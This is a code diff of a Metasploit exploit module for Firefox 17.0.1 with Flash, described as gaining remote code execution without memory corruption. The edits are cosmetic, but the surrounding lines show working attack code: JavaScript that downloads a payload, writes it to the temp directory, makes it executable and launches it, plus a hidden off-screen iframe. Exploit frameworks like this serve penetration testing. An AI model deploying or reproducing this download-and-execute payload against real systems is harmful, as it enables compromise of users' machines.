@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
18
- 'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection' ,
18
+ 'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection' ,
19
19
'Description' => %q{
20
20
This exploit gains remote code execution on Firefox 17.0.1 and all previous
21
21
versions, provided the user has installed Flash. No memory corruption is used.
@@ -180,11 +180,11 @@ def js_payload(target)
180
180
x.send(null);
181
181
#{ js_debug ( "'Payload: '+x.responseText" , "" ) }
182
182
var file = Components.classes["@mozilla.org/file/directory_service;1"]
183
- .getService(Components.interfaces.nsIProperties)
184
- .get("TmpD", Components.interfaces.nsIFile);
183
+ .getService(Components.interfaces.nsIProperties)
184
+ .get("TmpD", Components.interfaces.nsIFile);
185
185
file.append('#{ payload_filename ( target ) } ');
186
186
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
187
- .createInstance(Components.interfaces.nsIFileOutputStream);
187
+ .createInstance(Components.interfaces.nsIFileOutputStream);
188
188
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
189
189
stream.write(x.responseText, x.responseText.length);
190
190
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
@@ -195,7 +195,7 @@ def js_payload(target)
195
195
#{ chmod_code ( target ) }
196
196
#{ js_debug ( "'Downloaded to: '+file.path" , "" ) }
197
197
var process = Components.classes["@mozilla.org/process/util;1"]
198
- .createInstance(Components.interfaces.nsIProcess);
198
+ .createInstance(Components.interfaces.nsIProcess);
199
199
process.init(file);
200
200
process.run(false, [], 0);
201
201
|
@@ -285,7 +285,7 @@ def generate_html(target)
285
285
</script>
286
286
287
287
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
288
- name="#{ vars [ :frame_name ] } "></iframe>
288
+ name="#{ vars [ :frame_name ] } "></iframe>
289
289
#{ vars [ :content ] }
290
290
</body>
291
291
</html>
0 commit comments